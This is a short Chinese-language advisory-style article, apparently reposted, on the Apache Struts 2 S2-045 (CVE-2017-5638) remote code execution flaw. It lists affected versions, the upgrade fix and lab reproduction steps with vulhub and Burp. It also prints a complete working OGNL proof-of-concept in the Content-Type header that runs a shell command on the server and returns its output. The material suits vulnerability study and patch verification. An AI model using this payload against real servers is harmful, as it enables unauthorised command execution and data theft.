S2-045 远程代码执行漏洞(CVE-2017-5638)
项目 | 信息 |
漏洞描述 | Apache官方发布Struts 2紧急漏洞公告(S2-045),CVE编号CVE-2017-5638,公告中披露,当基于Jakarta插件上传文件时,可导致远程代码执行,例如在系统中获得管理员权限,执行添加用户、查看、修改或删除文件等操作,造成机密数据泄露,重要信息遭到篡改等重大危害。 |
漏洞影响版本 | Struts 2.3.5 Struts 2.3.31,Struts 2.5 Struts 2.5.10。 |
漏洞类型 | 远程代码执行。 |
漏洞级别 | 高危。 |
解决方案 | 升级到Apache Struts 2.3.32或2.5.10.1版;或者切换到不同的实现文件上传Multipart解析器。 |
漏洞复现步骤 | 1. 启动Docker服务并进入vulhub的Struts2/s2-045目录。 2. 下载并启动漏洞环境。 3. 使用Burp抓包工具修改Content-Type值进行攻击。 |
POC示例 | Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" |
通过以上信息可以全面了解S2-045漏洞的详细情况,包括其描述、影响版本、漏洞类型、解决方案以及具体的漏洞复现步骤和POC示例。
各位小伙伴们,我刚刚为大家分享了有关s2 045 漏洞的知识,希望对你们有所帮助。如果您还有其他相关问题需要解决,欢迎随时提出哦!
本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/87372.html